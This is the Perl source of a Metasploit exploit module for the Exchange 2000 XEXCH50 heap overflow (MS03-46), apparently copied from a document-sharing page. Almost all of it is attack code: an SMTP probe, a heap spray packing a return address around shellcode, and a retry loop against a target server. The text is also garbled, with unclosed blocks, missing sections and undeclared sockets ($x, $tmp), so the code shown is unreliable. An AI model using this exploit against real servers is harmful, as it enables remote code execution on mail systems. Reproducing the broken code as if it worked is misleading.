Professional Documents
Culture Documents
package Msf::Exploit::exchange2000_xexch50;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
'Version' => '$Revision: 1.35 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 25],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
},
'DefaultTarget' => 0,
'Targets' => [['Exchange 2000', 0x0c900c90, 3000, 11000, 512]],
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}
$s->Send("EHLO X\r\n");
$res = $s->Recv(-1, 3);
if ($res !~ /XEXCH50/) {
$s->Close();
$self->PrintLine("[*] Target does not appear to be an exchange
server");
return $self->CheckCode('Safe');
}
$s->Send("XEXCH50 2 2\r\n");
$res = $s->Recv(-1, 3);
$s->Close();
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode =$self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my ($tname, $retaddr) = @{$target};
my $buff_len = $target->[2];
my $counter = 1;
my @seencount = ();
while (1) {
if(! $seencount[$counter]) {
$self->PrintLine("[*] Exploit attempt #$counter");
$seencount[$counter]++;
}
if ($res !~ /Microsoft/) {
$s->Close();
$self->PrintLine("Error");
$self->PrintLine("[*] Target does not appear to be running
Exchange: $res");
return;
}
$self->Print("EHLO ");
$s->Send("EHLO X\r\n");
$res = $s->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
if ($res !~ /XEXCH50/) {
$self->PrintLine("Error");
$self->PrintLine("[*] Target is not running Exchange: $res");
return;
}
$self->Print("MAIL ");
$s->Send("MAIL FROM: metasploit\r\n");
$res = $s->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
$self->Print("RCPT ");
$s->Send("RCPT TO: administrator\r\n");
$res = $s->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
$self->Print("XEXCH50 ");
if ($res !~ /Send binary/) {
$s->Close();
$self->PrintLine("Error");
$self->PrintLine("[*] Target is not vulnerable");
return;
}
$s->Send("XX");
$res = $s->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
$self->Print("ALLOC ");
my $payload = ((
(pack("V", $retaddr) x (256 * 1024)).
$shellcode . ("X" x 1024)
) x 4
). ("BEEF");
$self->Print("EHLO ");
$x->Send("EHLO X\r\n");
$res = $x->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
if ($res !~ /XEXCH50/) {
$self->PrintLine("Error");
$self->PrintLine("[*] Target is not running Exchange: $res");
return;
}
$self->Print("MAIL ");
$x->Send("MAIL FROM: metasploit\r\n");
$res = $x->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
$self->Print("RCPT ");
$x->Send("RCPT TO: administrator\r\n");
$res = $x->Recv(-1, 3);
if (! $res) { $self->PrintLine("Error"); next; }
$self->Print("XEXCH50 ");
$buff_len += $target->[4];
if ($buff_len > $target->[3]) { $buff_len = $target->[2] }
if ($tmp->IsError) {
last;
}
$tmp->Send("HELO X\r\n");
$tmp->Close();
$count++;
}
$self->PrintLine(" OK");
$self->PrintLine("");
$counter++;
}
return;
}